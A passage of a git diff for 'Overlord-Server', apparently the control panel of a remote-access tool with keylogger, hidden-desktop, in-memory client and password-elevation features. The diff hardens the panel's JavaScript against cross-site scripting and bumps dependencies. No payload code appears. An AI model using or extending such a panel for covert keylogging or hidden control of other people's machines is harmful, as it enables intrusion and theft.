"sha512-FfR8sjd4em2T6fb3I2MwAJU7HWVMr9zba+enmQeeWFfCbm+UOC/0X4DS8XtpUTMwWMGbjKYP7xjfNekzyGmB3A=="], + "postcss": ["postcss@8.5.26", "", { "dependencies": { "nanoid": "^3.3.17", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-u82N74LFzG8ca+dD8puPnplTXoGH4fTPpVGuIbt36G3qvNlkvfD0lEAZSxaly3KX8TS/L1A1gsCEmvKmBcVbkQ=="], "postcss-value-parser": ["postcss-value-parser@4.2.0", "", {}, "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ=="], @@ -556,7 +561,7 @@ "util-deprecate": ["util-deprecate@1.0.2", "", {}, "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw=="], - "uuid": ["uuid@9.0.1", "", { "bin": { "uuid": "dist/bin/uuid" } }, "sha512-b+1eJOlsR9K8HJpow9Ok3fiWOWSIcIzXodvv0rQjVoOVNpWMpxf1wZNpt4y9h10odCNrqnYp1OBzRktckBe3sA=="], + "uuid": ["uuid@11.1.1", "", { "bin": { "uuid": "dist/esm/bin/uuid" } }, "sha512-vIYxrBCC/N/K+Js3qSN88go7kIfNPssr/hHCesKCQNAjmgvYS2oqr69kIufEG+O4+PfezOH4EbIeHCfFov8ZgQ=="], "valibot": ["valibot@1.4.2", "", { "peerDependencies": { "typescript": ">=5" }, "optionalPeers": ["typescript"] }, "sha512-gjdCvJ6d3RyHAneqxMYMW9QMCwYMb3jpOO0IyHZV1bnRHFBHrX3VkIILt5XYR0WhwHiH7Mty8ovuPZ/O3gamrg=="], @@ -618,8 +623,6 @@ "jayson/commander": ["commander@2.20.3", "", {}, "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ=="], - "jayson/uuid": ["uuid@8.3.2", "", { "bin": { "uuid": "dist/bin/uuid" } }, "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg=="], - "lightningcss/detect-libc": ["detect-libc@2.1.2", "", {}, "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ=="], "node-gyp-build-optional-packages/detect-libc": ["detect-libc@2.1.2", "", {}, "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ=="], diff --git a/Overlord-Server/package.json b/Overlord-Server/package.json index 59fd945..0c098da 100644 --- a/Overlord-Server/package.json +++ b/Overlord-Server/package.json @@ -33,17 +33,17 @@ "@hotwired/turbo": "^8.0.23", "@msgpack/msgpack": "^3.0.0", "@solana/web3.js": "^1.98.4", - "adm-zip": "^0.5.12", + "adm-zip": "^0.6.0", "ansi-to-html": "0.7.2", "cytoscape": "^3.34.0", "fuse.js": "^7.4.1", "geoip-lite": "latest", "gridstack": "^12.6.0", - "hono": "^4.12.33", + "hono": "^4.13.3", "jose": "^6.1.3", "msgpackr": "1.11.8", "qrcode": "^1.5.4", - "uuid": "^9.0.1", + "uuid": "^11.1.1", "valibot": "^1.4.2", "web-push": "^3.6.7", "winston": "^3.11.0" @@ -70,11 +70,16 @@ "flag-icons": "latest", "highlight.js": "11.9.0", "html-minifier-terser": "^7.2.0", - "monaco-editor": "^0.55.1", - "postcss": "^8.5.6", + "monaco-editor": "^0.56.0", + "postcss": "^8.5.26", "tabulator-tables": "^6.4.0", "tailwindcss": "^4.1.18", "terser": "^5.46.1", "typescript": "^5.6.3" + }, + "overrides": { + "dompurify": "^3.4.14", + "ip-address": "^10.5.0", + "uuid": "^11.1.1" } } diff --git a/Overlord-Server/public/assets/backstage.js b/Overlord-Server/public/assets/backstage.js index 9b885e7..ca7596e 100644 --- a/Overlord-Server/public/assets/backstage.js +++ b/Overlord-Server/public/assets/backstage.js @@ -302,7 +302,10 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s state === "idle" ? "Stopped" : "Connecting"); - statusEl.innerHTML = `${icons[state] || icons.idle} ${label}`; + statusEl.innerHTML = icons[state] || icons.idle; + const labelEl = document.createElement("span"); + labelEl.textContent = String(label || ""); + statusEl.appendChild(labelEl); const base = "inline-flex items-center gap-2 px-3 py-2 rounded-full border text-sm"; const styles = { streaming: "bg-violet-900/40 text-violet-100 border-violet-700/70", @@ -915,7 +918,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s function escapeHtml(str) { const div = document.createElement("div"); div.textContent = str; - return div.innerHTML; + return div.innerHTML.replace(/"/g, """).replace(/'/g, "'"); } function sendCmd(type, payload) { @@ -2038,7 +2041,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s const lookupBtn = document.getElementById("backstageLookupBtn"); if (!resultsEl) return; - if (msg.done) { + if (msg?.done) { if (statusEl) { statusEl.innerHTML = 'Search complete'; setTimeout(() => statusEl.classList.add("hidden"), 3000); @@ -2053,23 +2056,31 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s return; } - if (msg.path) { + const lookupPath = safeClientString(msg?.path, "", 32768); + if (lookupPath) { // Remove placeholder if present const placeholder = resultsEl.querySelector(":scope > div:not([data-lookup-path])"); if (placeholder) placeholder.remove(); const item = document.createElement("button"); item.type = "button"; - item.dataset.lookupPath = msg.path; + item.dataset.lookupPath = lookupPath; item.className = "w-full text-left px-2 py-1.5 rounded text-xs text-slate-200 hover:bg-violet-600/30 hover:text-violet-100 transition-colors font-mono truncate block"; - item.textContent = msg.path; - item.title = "Click to start in backstage: " + msg.path; + item.textContent = lookupPath; + item.title = "Click to start in backstage: " + lookupPath; item.addEventListener("click", () => { const killCheckbox = document.getElementById("backstageLookupKill"); - const killExe = killCheckbox?.checked ? msg.exe : ""; - sendCmd("backstage_start_process", { path: '"' + msg.path + '"', kill_exe: killExe }); + const killExe = killCheckbox?.checked + ? safeClientString(msg?.exe, "", 1024) + : ""; + sendCmd("backstage_start_process", { path: '"' + lookupPath + '"', kill_exe: killExe }); item.classList.add("text-emerald-400"); - item.innerHTML = '' + (killExe ? '(killed) ' : '') + msg.path; + const icon = document.createElement("i"); + icon.className = "fa-solid fa-check mr-1"; + item.replaceChildren( + icon, + document.createTextNode((killExe ? "(killed) " : "") + lookupPath), + ); }); resultsEl.appendChild(item); item.scrollIntoView({ block: "nearest" }); @@ -2096,12 +2107,144 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s "#ec4899", "#06b6d4", "#84cc16", "#f97316", "#6366f1", ]; + const WINDOW_MAP_MAX_MONITORS = 64; + const WINDOW_MAP_MAX_WINDOWS = 2000; + const WINDOW_MAP_MAX_COORDINATE = 1000000; + const WINDOW_MAP_MAX_DIMENSION = 100000; + + function safeClientString(value, fallback = "", maxLength = 1024) { + let text; + try { + text = String(value ?? fallback); + } catch { + text = String(fallback); + } + return text.slice(0, maxLength); + } + + function boundedClientNumber(value, min, max, fallback = 0) { + let number; + try { + number = Number(value); + } catch { + return fallback; + } + if (!Number.isFinite(number)) return fallback; + return Math.min(max, Math.max(min, number)); + } + + function boundedClientInteger(value, min, max, fallback = 0) { + return Math.trunc(boundedClientNumber(value, min, max, fallback)); + } + + function normalizeWindowMapPayload(msg) { + const monitorValues = Array.isArray(msg?.monitors) + ? msg.monitors.slice(0, WINDOW_MAP_MAX_MONITORS) + : []; + const windowValues = Array.isArray(msg?.windows) + ? msg.windows.slice(0, WINDOW_MAP_MAX_WINDOWS) + : []; + + const monitors = monitorValues.map((value, position) => { + const monitor = value && typeof value === "object" ? value : {}; + return { + index: boundedClientInteger( + monitor.index, + -WINDOW_MAP_MAX_COORDINATE, + WINDOW_MAP_MAX_COORDINATE, + position, + ), + name: safeClientString(monitor.name, "", 1024), + x: boundedClientNumber( + monitor.x, + -WINDOW_MAP_MAX_COORDINATE, + WINDOW_MAP_MAX_COORDINATE, + ), + y: boundedClientNumber( + monitor.y, + -WINDOW_MAP_MAX_COORDINATE, + WINDOW_MAP_MAX_COORDINATE, + ), + width: boundedClientNumber( + monitor.width, + 0, + WINDOW_MAP_MAX_DIMENSION, + ), + height: boundedClientNumber( + monitor.height, + 0, + WINDOW_MAP_MAX_DIMENSION, + ), + primary: monitor.primary === true, + }; + }); + + const windows = windowValues.map((value) => { + const windowValue = value && typeof value === "object" ? value : {}; + return { + title: safeClientString(windowValue.title, "", 2048), + processName: safeClientString(windowValue.processName, "", 1024), + pid: boundedClientInteger(windowValue.pid, 0, 0xffffffff, 0), + x: boundedClientNumber( + windowValue.x, + -WINDOW_MAP_MAX_COORDINATE, + WINDOW_MAP_MAX_COORDINATE, + ), + y: boundedClientNumber( + windowValue.y, + -WINDOW_MAP_MAX_COORDINATE, + WINDOW_MAP_MAX_COORDINATE, + ), + width: boundedClientNumber( + windowValue.width, + 0, + WINDOW_MAP_MAX_DIMENSION, + ), + height: boundedClientNumber( + windowValue.height, + 0, + WINDOW_MAP_MAX_DIMENSION, + ), + monitor: boundedClientInteger( + windowValue.monitor, + -1, + WINDOW_MAP_MAX_MONITORS - 1, + -1, + ), + }; + }); + + return { monitors, windows }; + } + + function setWindowMapPlaceholder(element, text, { canvas = false, spinner = false } = {}) { + if (!element) return; + const wrapper = document.createElement("div"); + wrapper.className = canvas + ? "flex items-center justify-center h-40 text-slate-500 text-sm" + : "text-slate-500 text-xs text-center py-2"; + if (spinner) { + const icon = document.createElement("i"); + icon.className = "fa-solid fa-spinner fa-spin mr-2"; + wrapper.appendChild(icon); + } + wrapper.appendChild(document.createTextNode(text)); + element.replaceChildren(wrapper); + } + + function createWindowMapSpan(className, text = "") { + const span = document.createElement("span"); + span.className = className; + span.textContent = safeClientString(text, "", 4096); + return span; + } + function openWindowMap() { if (!windowMapModal) return; windowMapModal.style.display = "flex"; sendCmd("backstage_window_list", {}); - if (windowMapCanvas) windowMapCanvas.innerHTML = '
Loading…
'; - if (windowMapList) windowMapList.innerHTML = ""; + setWindowMapPlaceholder(windowMapCanvas, "Loading…", { canvas: true, spinner: true }); + windowMapList?.replaceChildren(); } function closeWindowMap() { @@ -2112,22 +2255,21 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s if (windowMapCloseBtn) windowMapCloseBtn.addEventListener("click", closeWindowMap); if (windowMapRefreshBtn) windowMapRefreshBtn.addEventListener("click", () => { sendCmd("backstage_window_list", {}); - if (windowMapCanvas) windowMapCanvas.innerHTML = '
Refreshing…
'; - if (windowMapList) windowMapList.innerHTML = ""; + setWindowMapPlaceholder(windowMapCanvas, "Refreshing…", { canvas: true, spinner: true }); + windowMapList?.replaceChildren(); }); if (windowMapModal) windowMapModal.addEventListener("click", (e) => { if (e.target === windowMapModal) closeWindowMap(); }); function handleWindowListResult(msg) { - const monitors = msg.monitors || []; - const windows = msg.windows || []; + const { monitors, windows } = normalizeWindowMapPayload(msg); if (!windowMapCanvas || !windowMapList) return; if (monitors.length === 0 && windows.length === 0) { - windowMapCanvas.innerHTML = '
No windows or monitors found
'; - windowMapList.innerHTML = '
No visible windows on the hidden desktop
'; + setWindowMapPlaceholder(windowMapCanvas, "No windows or monitors found", { canvas: true }); + setWindowMapPlaceholder(windowMapList, "No visible windows on the hidden desktop"); return; } @@ -2159,58 +2301,116 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s function ty(y) { return padY + (y - minY) * scale; } function tw(w) { return w * scale; } - let html = ""; windowMapCanvas.style.height = mapH + "px"; + const canvasFragment = document.createDocumentFragment(); for (let i = 0; i < monitors.length; i++) { const m = monitors[i]; const x = tx(m.x), y = ty(m.y), w = tw(m.width), h = tw(m.height); - html += `
- ${m.primary ? "★ " : ""}${m.name || "Monitor " + m.index} - ${m.width}×${m.height} -
`; + const monitorBox = document.createElement("div"); + monitorBox.className = "absolute border-2 border-dashed border-slate-600 rounded"; + monitorBox.style.left = `${x}px`; + monitorBox.style.top = `${y}px`; + monitorBox.style.width = `${w}px`; + monitorBox.style.height = `${h}px`; + monitorBox.title = `Monitor ${m.index}: ${m.name} (${m.width}x${m.height})`; + monitorBox.append( + createWindowMapSpan( + "absolute top-1 left-1.5 text-[10px] font-mono text-slate-500", + `${m.primary ? "★ " : ""}${m.name || "Monitor " + m.index}`, + ), + createWindowMapSpan( + "absolute bottom-1 right-1.5 text-[10px] font-mono text-slate-600", + `${m.width}×${m.height}`, + ), + ); + canvasFragment.appendChild(monitorBox); } for (let i = 0; i < windows.length; i++) { - const w = windows[i]; + const mappedWindow = windows[i]; const color = WINDOW_COLORS[i % WINDOW_COLORS.length]; - const x = tx(w.x), y = ty(w.y), ww = Math.max(tw(w.width), 8), wh = Math.max(tw(w.height), 8); - const shortTitle = w.title.length > 30 ? w.title.slice(0, 28) + "…" : w.title; - html += `
- ${wh > 20 && ww > 50 ? `
${escHtml(shortTitle)}
` : ""} -
`; + const x = tx(mappedWindow.x), y = ty(mappedWindow.y); + const width = Math.max(tw(mappedWindow.width), 8); + const height = Math.max(tw(mappedWindow.height), 8); + const shortTitle = mappedWindow.title.length > 30 + ? mappedWindow.title.slice(0, 28) + "…" + : mappedWindow.title; + const windowBox = document.createElement("div"); + windowBox.className = "absolute rounded border overflow-hidden cursor-default"; + windowBox.style.left = `${x}px`; + windowBox.style.top = `${y}px`; + windowBox.style.width = `${width}px`; + windowBox.style.height = `${height}px`; + windowBox.style.borderColor = color; + windowBox.style.background = `${color}18`; + windowBox.title = [ + mappedWindow.title, + `${mappedWindow.processName} (PID ${mappedWindow.pid})`, + `Position: ${mappedWindow.x},${mappedWindow.y} Size: ${mappedWindow.width}×${mappedWindow.height}`, + `Monitor: ${mappedWindow.monitor >= 0 ? mappedWindow.monitor : "none"}`, + ].join("\n"); + if (height > 20 && width > 50) { + const title = document.createElement("div"); + title.className = "px-1 py-0.5 text-[9px] font-mono text-slate-200 truncate"; + title.style.background = `${color}50`; + title.textContent = shortTitle; + windowBox.appendChild(title); + } + canvasFragment.appendChild(windowBox); } - windowMapCanvas.innerHTML = html; - - let listHtml = `
-
- TitleProcessPositionMonitor -
`; - - for (let i = 0; i < windows.length; i++) { - const w = windows[i]; - const color = WINDOW_COLORS[i % WINDOW_COLORS.length]; - const monLabel = w.monitor >= 0 ? (monitors[w.monitor] ? (monitors[w.monitor].name || "#" + w.monitor) : "#" + w.monitor) : "—"; - listHtml += `
- - ${escHtml(w.title)} - ${escHtml(w.processName)} (${w.pid}) - ${w.x},${w.y} ${w.width}×${w.height} - ${monLabel} -
`; - } - listHtml += "
"; + windowMapCanvas.replaceChildren(canvasFragment); if (windows.length === 0) { - listHtml = '
No visible windows on the hidden desktop
'; + setWindowMapPlaceholder(windowMapList, "No visible windows on the hidden desktop"); + return; } - windowMapList.innerHTML = listHtml; - } + const list = document.createElement("div"); + list.className = "grid gap-1"; + const header = document.createElement("div"); + header.className = "grid grid-cols-[auto_1fr_auto_auto_auto] gap-x-3 px-2 py-1 text-[11px] uppercase tracking-wide text-slate-500 border-b border-slate-800"; + header.append( + createWindowMapSpan("", ""), + createWindowMapSpan("", "Title"), + createWindowMapSpan("", "Process"), + createWindowMapSpan("", "Position"), + createWindowMapSpan("", "Monitor"), + ); + list.appendChild(header); - function escHtml(s) { - return s.replace(/&/g, "&").replace(//g, ">").replace(/"/g, """); + for (let i = 0; i < windows.length; i++) { + const mappedWindow = windows[i]; + const color = WINDOW_COLORS[i % WINDOW_COLORS.length]; + const monitorLabel = mappedWindow.monitor >= 0 + ? (monitors[mappedWindow.monitor]?.name || `#${mappedWindow.monitor}`) + : "—"; + const row = document.createElement("div"); + row.className = "grid grid-cols-[auto_1fr_auto_auto_auto] gap-x-3 items-center px-2 py-1.5 rounded hover:bg-slate-800/50 text-xs text-slate-300"; + + const colorMarker = createWindowMapSpan("w-2.5 h-2.5 rounded-sm", ""); + colorMarker.style.background = color; + const title = createWindowMapSpan("truncate font-medium", mappedWindow.title); + title.title = mappedWindow.title; + const process = createWindowMapSpan("font-mono text-slate-400", mappedWindow.processName + " "); + process.appendChild(createWindowMapSpan("text-slate-600", `(${mappedWindow.pid})`)); + row.append( + colorMarker, + title, + process, + createWindowMapSpan( + "font-mono text-slate-500", + `${mappedWindow.x},${mappedWindow.y} ${mappedWindow.width}×${mappedWindow.height}`, + ), + createWindowMapSpan( + `font-mono ${mappedWindow.monitor >= 0 ? "text-slate-300" : "text-rose-400"}`, + monitorLabel, + ), + ); + list.appendChild(row); + } + windowMapList.replaceChildren(list); } connectWs(); diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js index f91fcd3..e938f82 100644 --- a/Overlord-Server/public/assets/build.js +++ b/Overlord-Server/public/assets/build.js @@ -9,6 +9,7 @@ import { staggerChildren, } from "./motion.js"; import { isLocalServerAddress } from "./build-server-url.js"; +import { escapeHtml } from "./format.js"; const form = document.getElementById("build-form"); const buildBtn = document.getElementById("build-btn"); @@ -2912,25 +2913,29 @@ if (buildUpdateAllBtn) { if (!res.ok) { const data = await res.json().catch(() => ({})); - updateAllModalBody.innerHTML = `

${data.error || "Failed to check eligible clients"}

`; + updateAllModalBody.innerHTML = `

${escapeHtml(data.error || "Failed to check eligible clients")}

`; return; } const data = await res.json(); + const eligible = Math.max(0, Math.trunc(Number(data.eligible) || 0)); + const totalOnline = Math.max(0, Math.trunc(Number(data.totalOnline) || 0)); + const skippedInMemory = Math.max(0, Math.trunc(Number(data.skippedInMemory) || 0)); + const skippedNoMatch = Math.max(0, Math.trunc(Number(data.skippedNoMatch) || 0)); let html = ""; - html += `

${data.eligible} client(s) will receive the update after build.

`; + html += `

${eligible} client(s) will receive the update after build.

`; html += '
'; - html += `

${data.totalOnline} total online client(s)

`; - if (data.skippedInMemory > 0) { - html += `

${data.skippedInMemory} client(s) will be skipped (running in-memory)

`; + html += `

${totalOnline} total online client(s)

`; + if (skippedInMemory > 0) { + html += `

${skippedInMemory} client(s) will be skipped (running in-memory)

`; } - if (data.skippedNoMatch > 0) { - html += `

${data.skippedNoMatch} client(s) will be skipped (no matching platform)

`; + if (skippedNoMatch > 0) { + html += `

${skippedNoMatch} client(s) will be skipped (no matching platform)

`; } html += "
"; - if (data.eligible === 0 && data.totalOnline === 0) { + if (eligible === 0 && totalOnline === 0) { html += '

No clients are currently online. The build will still run but no updates will be sent.

'; } @@ -2939,7 +2944,8 @@ if (buildUpdateAllBtn) { updateAllModalBody.innerHTML = html; } catch (err) { - updateAllModalBody.innerHTML = `

Error: ${err.message}

`; + const message = err instanceof Error ? err.message : String(err || "Unknown error"); + updateAllModalBody.innerHTML = `

Error: ${escapeHtml(message)}

`; } }); } diff --git a/Overlord-Server/public/assets/chat-widget.js b/Overlord-Server/public/assets/chat-widget.js index 5ef025f..06bacc1 100644 --- a/Overlord-Server/public/assets/chat-widget.js +++ b/Overlord-Server/public/assets/chat-widget.js @@ -23,7 +23,7 @@ const ROLE_COLORS = { function escapeHtml(str) { const div = document.createElement("div"); div.textContent = str; - return div.innerHTML; + return div.innerHTML.replace(/"/g, """).replace(/'/g, "'"); } function formatTime(ts) { diff --git a/Overlord-Server/public/assets/client-graph.js b/Overlord-Server/public/assets/client-graph.js index 5c7ea42..0d07fcd 100644 --- a/Overlord-Server/public/assets/client-graph.js +++ b/Overlord-Server/public/assets/client-graph.js @@ -71,7 +71,8 @@ function escapeHtml(value) { .replace(/&/g, "&") .replace(//g, ">") - .replace(/"/g, """); + .replace(/"/g, """) + .replace(/'/g, "'"); } function setSummary(summary) { diff --git a/Overlord-Server/public/assets/command-palette.js b/Overlord-Server/public/assets/command-palette.js index 365740a..2730d27 100644 --- a/Overlord-Server/public/assets/command-palette.js +++ b/Overlord-Server/public/assets/command-palette.js @@ -121,9 +121,26 @@ function pushRecent(href) { localStorage.setItem(RECENT_KEY, JSON.stringify(list.slice(0, RECENT_MAX))); } +function escapeHtml(value) { + return String(value ?? "") + .replace(/&/g, "&") + .replace(//g, ">") + .replace(/"/g, """) + .replace(/'/g, "'"); +} + +function safeClassTokens(value, fallback = "") { + const tokens = String(value || "") + .split(/\s+/) + .filter((token) => /^[A-Za-z0-9_-]+$/.test(token)); + return tokens.length ? tokens.join(" ") : fallback; +} + function flagFor(country) { - if (!country || country.length !== 2) return ""; - return ``; + const code = String(country || "").trim().toUpperCase(); + if (!/^[A-Z]{2}$/.test(code)) return ""; + return ``; } function clientLabel(c) { @@ -163,15 +180,17 @@ function buildResults(query, pages, clients) { } function makeIcon(faClass, colorClass) { - return ``; + const icon = safeClassTokens(faClass, "fa-circle-question"); + const color = safeClassTokens(colorClass, "text-slate-300"); + return ``; } function renderRow(r, active) { const activeCls = active ? "cmdp-row cmdp-row-active" : "cmdp-row"; if (r.kind === "page") { - return `
+ return `
${makeIcon(r.icon, r.color)} - ${r.label} + ${escapeHtml(r.label)} page
`; } @@ -179,26 +198,29 @@ function renderRow(r, active) { const c = r.client; const dot = c.online ? "background:#10b981" : "background:#475569"; const os = osBadge(c.os || ""); - return `
- + const osIcon = safeClassTokens(os.icon, "fa-solid fa-circle-question"); + const osTone = safeClassTokens(os.tone, "pill-unknown"); + return `
+ ${flagFor(c.country)} - ${r.label} + ${escapeHtml(r.label)} ${c.online ? "online" : "offline"}
`; } if (r.kind === "action") { - return `
+ return `
${makeIcon(r.action.icon, r.action.color)} - ${r.action.label} + ${escapeHtml(r.action.label)} needs client
`; } if (r.kind === "client-action") { const c = r.client; - return `
+ const encodedId = encodeURIComponent(String(c.id || "")); + return `
${makeIcon(r.action.icon, r.action.color)} - ${r.action.label} · ${clientLabel(c)} + ${escapeHtml(`${r.action.label} · ${clientLabel(c)}`)} action
`; } @@ -320,7 +342,7 @@ function renderList() { } let html = ""; if (state.mode === "client-actions" && state.pendingAction) { - html += `
Pick a client for: ${state.pendingAction.label}
`; + html += `
Pick a client for: ${escapeHtml(state.pendingAction.label)}
`; } html += state.results.map((r, i) => renderRow(r, i === state.active)).join(""); list.innerHTML = html; @@ -336,7 +358,12 @@ function activate(idx, newTab) { const r = state.results[idx]; if (!r) return; if (r.kind === "page" || r.kind === "client-action") { - navigate(r.kind === "page" ? r.href : r.action.href(r.client.id), newTab); + navigate( + r.kind === "page" + ? r.href + : r.action.href(encodeURIComponent(String(r.client.id || ""))), + newTab, + ); return; } if (r.kind === "client") { diff --git a/Overlord-Server/public/assets/console.js b/Overlord-Server/public/assets/console.js index a2b1742..3420b77 100644 --- a/Overlord-Server/public/assets/console.js +++ b/Overlord-Server/public/assets/console.js @@ -106,7 +106,8 @@ function tryFit() { function setStatus(label, tone = "pill-offline") { if (!statusPill) return; statusPill.className = `pill ${tone}`; - statusPill.innerHTML = ` ${label}`; + statusPill.innerHTML = ''; + statusPill.appendChild(document.createTextNode(` ${String(label || "")}`)); } function writeSystem(msg) { diff --git a/Overlord-Server/public/assets/feature-gate.js b/Overlord-Server/public/assets/feature-gate.js index 42ba52f..aebdbcc 100644 --- a/Overlord-Server/public/assets/feature-gate.js +++ b/Overlord-Server/public/assets/feature-gate.js @@ -80,5 +80,5 @@ function showAccessDenied(reasons) { function escapeHtml(text) { const el = document.createElement("span"); el.textContent = text; - return el.innerHTML; + return el.innerHTML.replace(/"/g, """).replace(/'/g, "'"); } diff --git a/Overlord-Server/public/assets/filebrowser-utils.js b/Overlord-Server/public/assets/filebrowser-utils.js index 006e766..91cd025 100644 --- a/Overlord-Server/public/assets/filebrowser-utils.js +++ b/Overlord-Server/public/assets/filebrowser-utils.js @@ -131,5 +131,5 @@ export function formatBytes(bytes) { export function escapeHtml(text) { const div = document.createElement("div"); div.textContent = text; - return div.innerHTML; + return div.innerHTML.replace(/"/g, """).replace(/'/g, "'"); } diff --git a/Overlord-Server/public/assets/format.js b/Overlord-Server/public/assets/format.js index c449f51..0361099 100644 --- a/Overlord-Server/public/assets/format.js +++ b/Overlord-Server/public/assets/format.js @@ -1,7 +1,7 @@ export function escapeHtml(value) { const div = document.createElement("div"); div.textContent = value == null ? "" : String(value); - return div.innerHTML; + return div.innerHTML.replace(/"/g, """).replace(/'/g, "'"); } export function formatBytes(bytes, fractionDigits = 2) { diff --git a/Overlord-Server/public/assets/keylogger.js b/Overlord-Server/public/assets/keylogger.js index 39ebd5c..3b57dd9 100644 --- a/Overlord-Server/public/assets/keylogger.js +++ b/Overlord-Server/public/assets/keylogger.js @@ -342,14 +342,14 @@ function displayFileList(files) { ` : ""}

${statusText}

-

Plugin: ${plugin.name || plugin.id}

- ${sig.fingerprint ? `

Signer: ${sig.fingerprint}

` : '

No signature present.

'} +

Plugin: ${escapeHtml(plugin.name || plugin.id)}

+ ${sig.fingerprint ? `

Signer: ${escapeHtml(sig.fingerprint)}

` : '

No signature present.

'}

Type confirm below to enable this plugin:

diff --git a/Overlord-Server/public/assets/processes.js b/Overlord-Server/public/assets/processes.js index f593cb2..55e4592 100644 --- a/Overlord-Server/public/assets/processes.js +++ b/Overlord-Server/public/assets/processes.js @@ -75,7 +75,8 @@ function updateStatus(state, text) { disconnected: '', }; - statusEl.innerHTML = `${icons[state] || icons.disconnected} ${text}`; + statusEl.innerHTML = icons[state] || icons.disconnected; + statusEl.appendChild(document.createTextNode(` ${String(text || "")}`)); const stateClasses = { connected: "bg-emerald-500/10 text-emerald-300 border-emerald-500/30", error: "bg-red-500/10 text-red-300 border-red-500/30", @@ -491,7 +492,7 @@ function formatBytes(bytes) { function escapeHtml(text) { const div = document.createElement("div"); div.textContent = text; - return div.innerHTML; + return div.innerHTML.replace(/"/g, """).replace(/'/g, "'"); } // Context menu diff --git a/Overlord-Server/public/assets/purgatory-ui.js b/Overlord-Server/public/assets/purgatory-ui.js index 489002c..ae18781 100644 --- a/Overlord-Server/public/assets/purgatory-ui.js +++ b/Overlord-Server/public/assets/purgatory-ui.js @@ -310,9 +310,12 @@ function actionButtons(c) { } function esc(s) { - const d = document.createElement("div"); - d.textContent = String(s ?? ""); - return d.innerHTML; + return String(s ?? "") + .replace(/&/g, "&") + .replace(//g, ">") + .replace(/"/g, """) + .replace(/'/g, "'"); } function dedupeGpu(raw) { diff --git a/Overlord-Server/public/assets/remotedesktop.js b/Overlord-Server/public/assets/remotedesktop.js index 3483e9d..0df17b1 100644 --- a/Overlord-Server/public/assets/remotedesktop.js +++ b/Overlord-Server/public/assets/remotedesktop.js @@ -852,7 +852,10 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s error: '', }; const label = streamStatusLabel; - statusEl.innerHTML = `${icons[state] || icons.idle} ${label}`; + statusEl.innerHTML = icons[state] || icons.idle; + const labelEl = document.createElement("span"); + labelEl.textContent = String(label || ""); + statusEl.appendChild(labelEl); const base = "inline-flex items-center gap-2 px-3 py-2 rounded-full border text-sm"; const styles = { streaming: "bg-emerald-900/40 text-emerald-100 border-emerald-700/70", @@ -1606,12 +1609,12 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s accessibility: "Accessibility", fullDiskAccess: "Full Disk Access", }; - const list = missing.map(k => labels[k] || k).join(", "); + const list = missing.map((key) => labels[String(key)] || String(key)).join(", "); banner.innerHTML = `
- macOS permissions missing: ${list} + macOS permissions missing:
The client needs elevated privileges to grant these permissions. Enter the user's password to elevate. @@ -1626,6 +1629,8 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s
`; + const missingEl = banner.querySelector(".rd-elevate-missing"); + if (missingEl) missingEl.textContent = list; // Insert banner above the canvas area if (canvasContainer && canvasContainer.parentNode) { diff --git a/Overlord-Server/public/assets/render.js b/Overlord-Server/public/assets/render.js index 00d03f3..592ce64 100644 --- a/Overlord-Server/public/assets/render.js +++ b/Overlord-Server/public/assets/render.js @@ -44,7 +44,7 @@ if (typeof document !== "undefined" && typeof MutationObserver !== "undefined") function escapeHtml(text) { const div = document.createElement("div"); div.textContent = text; - return div.innerHTML; + return div.innerHTML.replace(/"/g, """).replace(/'/g, "'"); } const ROW_SELECTOR = "[data-client-row]"; @@ -699,12 +699,14 @@ export function createRenderer({ return dashboardBadges(client) .sort((a, b) => (Number(b.priority) || 0) - (Number(a.priority) || 0)) .map((badge) => { - const label = String(badge.label || badge.title || badge.pluginId || "Plugin"); - const title = String(badge.title || label); + const label = String(badge.label || badge.title || badge.pluginId || "Plugin").slice(0, 256); + const title = String(badge.title || label).slice(0, 512); const tone = String(badge.tone || "info").replace(/[^a-z0-9_-]/gi, "").toLowerCase() || "info"; const icon = String(badge.icon || "").replace(/[^a-z0-9_\- ]/gi, "").trim(); - const imageUrl = String(badge.imageUrl || "").trim(); - const href = String(badge.href || "").trim(); + const rawImageUrl = String(badge.imageUrl || "").trim().slice(0, 2_048); + const rawHref = String(badge.href || "").trim().slice(0, 2_048); + const imageUrl = /^(?:https?:\/\/|\/(?!\/))/i.test(rawImageUrl) ? rawImageUrl : ""; + const href = /^(?:https?:\/\/|\/(?!\/)|#)/i.test(rawHref) ? rawHref : ""; const visual = imageUrl ? `` : ``; diff --git a/Overlord-Server/public/assets/scripts.js b/Overlord-Server/public/assets/scripts.js index 0507b77..bb4e37f 100644 --- a/Overlord-Server/public/assets/scripts.js +++ b/Overlord-Server/public/assets/scripts.js @@ -238,7 +238,7 @@ function updateSelectedCount() { function escapeHtml(text) { const div = document.createElement('div'); div.textContent = text; - return div.innerHTML; + return div.innerHTML.replace(/"/g, """).replace(/'/g, "'"); } let 